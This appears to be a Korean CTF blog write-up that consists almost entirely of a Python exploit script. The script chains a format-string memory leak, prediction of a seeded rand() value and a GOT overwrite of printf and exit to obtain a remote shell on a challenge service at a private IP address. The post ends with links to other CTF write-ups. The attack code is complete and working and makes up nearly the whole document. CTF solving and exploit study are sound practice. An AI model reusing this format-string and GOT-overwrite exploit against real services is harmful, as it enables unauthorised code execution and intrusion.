1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | from SunKn0wn import * def attack(): r = remote('192.168.179.135', 2222) ########## Variables ########## printf_got = 0x0804A010 read_got = 0x0804A00C exit_got = 0x0804A024 system_lib = 0 rand_seed = 0 rand_str = '' lib_base = 0 printlen = 0 printsum = 0 shell = 0x08048966 # printf(buf); ########## Memory Leak ########## print "*** Stage1 ***" payload = p32(read_got) + '%17$s' + 'AAA' + p32(exit_got) + p32(exit_got + 2) payload += '%34809c%20$n%32708c%21$n' payload += 'A' * 56 r.recvsendline(payload) r.recvuntil('A' * 56) rand_seed = up32(r.recv(4)) print "[*]rand_seed : " + hex(rand_seed) # lib_base = up32(r.recv(8)[-4:]) - 0x1AA3C4 // it only applies in my system # print "[*]lib_base : " + hex(lib_base) lib = LoadLibrary('libc-2.19.so') lib.srand(rand_seed) for i in range(6): rand_str += str(lib.rand() % 45 + 1) + ' ' print "[*]rand_value : " + rand_str r.recvsend(rand_str) try: r.recvuntil('Congratulation, ') lib_base = up32(r.recv(8)[4:]) - 0xDABD0 # read_lib_off print "[*]lib_base : " + hex(lib_base) except: print "random value error" attack() system_lib = lib_base + 0x40190 # system_lib_off print "[*]system_lib : " + hex(system_lib) ########## GOT Overwrite ########## print "\n*** Stage2 ***" payload = '/bin/sh;' + p32(printf_got) + p32(printf_got + 2) payload += p32(exit_got) + p32(exit_got + 2) printlen = (system_lib & 0xffff) - 24 printsum += printlen + 24 payload += '%' + str(printlen) + 'c' + '%24$hn' # overwrite printf_low printlen = (system_lib >> 16) - printsum if printlen < 0: printlen += 0x10000 printsum += printlen payload += '%' + str(printlen) + 'c' + '%25$hn' # overwrite printf_high printlen = (shell & 0xffff) - printsum while (printlen < 0): printlen += 0x10000 printsum += printlen payload += '%' + str(printlen) + 'c' + '%26$n' # overwrite exit_low printlen = (shell >> 16) - printsum while (printlen < 0): printlen += 0x10000 payload += '%' + str(printlen) + 'c' + '%27$n' # overwrite exit_high r.recvsendline(payload) rand_str = '' for i in range(6): rand_str += str(lib.rand() % 45 + 1) + ' ' print "[*]rand_value : " + rand_str r.recvsend(rand_str) if not "Congratulation" in r.recvall(): print "fail" attack() print "\n*** Get Shell ***" r.interactive() attack() | cs |
'Write Up' 카테고리의 다른 글
| PlaidCTF 2016 quick - 175pt (0) | 2016.04.18 |
|---|---|
| 2016 CodeGate watermelon exploit (1) | 2016.04.01 |
| 2016 CodeGate fl0ppy exploit (1) | 2016.04.01 |
| 2016 Sharif CTF Write-Ups (0) | 2016.02.07 |
| HackIM 2016 Reversing - PrisonBreak (1) | 2016.02.01 |
